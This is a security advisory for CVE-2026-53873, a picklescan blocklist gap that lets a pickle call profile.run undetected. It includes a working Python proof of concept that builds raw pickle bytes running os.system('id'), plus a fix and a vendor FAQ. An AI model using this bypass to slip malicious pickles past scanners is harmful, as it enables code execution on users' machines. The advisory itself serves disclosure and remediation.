CVE-2026-53873

picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".

Severity

High, Direct code execution via exec() with zero scanner detection.

Affected Versions

• picklescan v1.0.3 (latest, the profile entries were added in recent versions)
• Earlier versions also affected (profile not blocked at all)

Details

Root Cause

In scanner.py line 199, the blocklist entry for profile is:

"profile": {"Profile.run", "Profile.runctx"},

When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:

• module = "profile"
• name = "run"

The blocklist check at line 414 is:

elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):

This checks: is "run" in {"Profile.run", "Profile.runctx"}?

Answer: NO. "run" != "Profile.run". The string comparison is exact, there is no prefix/suffix matching.

What profile.run() Does

# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
    prof = Profile()
    try:
        prof.run(statement)  # Calls exec(statement)
    except SystemExit:
        pass
    ...

profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 60)
    + sbu("profile") + sbu("run") + b"\x93"
    + sbu("import os; os.system('id')")
    + b"\x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)

Comparison

The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.

Resources

• picklescan source: scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})
• picklescan source: scanner.py line 414 (exact string match logic)
• Python source: Lib/profile.py run() function, calls exec()

profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.

CVE-2026-53873 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.4); upgrading removes the vulnerable code path.

Kodem intelligence

Change the profile blocklist entry from:

"profile": {"Profile.run", "Profile.runctx"},

to:

"profile": "*",

Or explicitly add the module-level functions:

"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},

1. What is CVE-2026-53873? CVE-2026-53873 is a critical-severity security vulnerability in picklescan (pip), affecting versions < 1.0.4. It is fixed in 1.0.4.
2. How severe is CVE-2026-53873? CVE-2026-53873 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of picklescan are affected by CVE-2026-53873? picklescan (pip) versions < 1.0.4 is affected.
4. Is there a fix for CVE-2026-53873? Yes. CVE-2026-53873 is fixed in 1.0.4. Upgrade to this version or later.
5. Is CVE-2026-53873 exploitable, and should I be worried? Whether CVE-2026-53873 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-53873 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-53873? Upgrade picklescan to 1.0.4 or later.